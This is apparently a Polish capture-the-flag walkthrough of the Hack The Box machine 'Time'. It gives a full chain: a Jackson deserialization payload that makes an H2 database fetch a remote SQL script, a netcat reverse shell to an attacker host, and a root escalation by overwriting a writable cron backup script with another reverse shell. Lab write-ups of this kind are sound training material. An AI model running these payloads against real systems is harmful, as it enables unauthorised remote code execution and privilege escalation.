Time

Nmap

nmap -p- -T5 10.129.29.200 

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

User

Na porcie 80 mamy stronkę z validatorem JSON’a, który zawiera deserializację javy.
Po odrobinie googlowania znajdujemy projekt na Githubie

wg. instrukcji tworzymy plik SQL z reverse shell’em

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PORT] >/tmp/f');

Następnie uruchamiamy w terminalach listenera i serwer WWW i na stronie internetowej walidujemy poniższy kod

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://[IP]/test.sql'"}]

Robimy lepszego shell’a

python3 -c 'import pty;pty.spawn("/bin/bash");'
pericles@time:/home/pericles$ cat user.txt

8db3693446e1***08425eb1dd514

Root

Root jest całkiem szybki. Enumerując maszynę widzimy w CRON’ie, że uruchamiany jest plik /usr/bin/timer_backup.sh, na którym mamy prawo zapisu. W tym celu dodajemy klucze SSH do katalogu roota ponieważ reverse shell jest bardzo nie stabilny i zrywa się po kilku sekundach.

cat << EOF > /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
bash -c 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PORT] >/tmp/f'
EOF
# cat /root/root.txt
f58dee09f***3ca477573bae82

Leave a Comment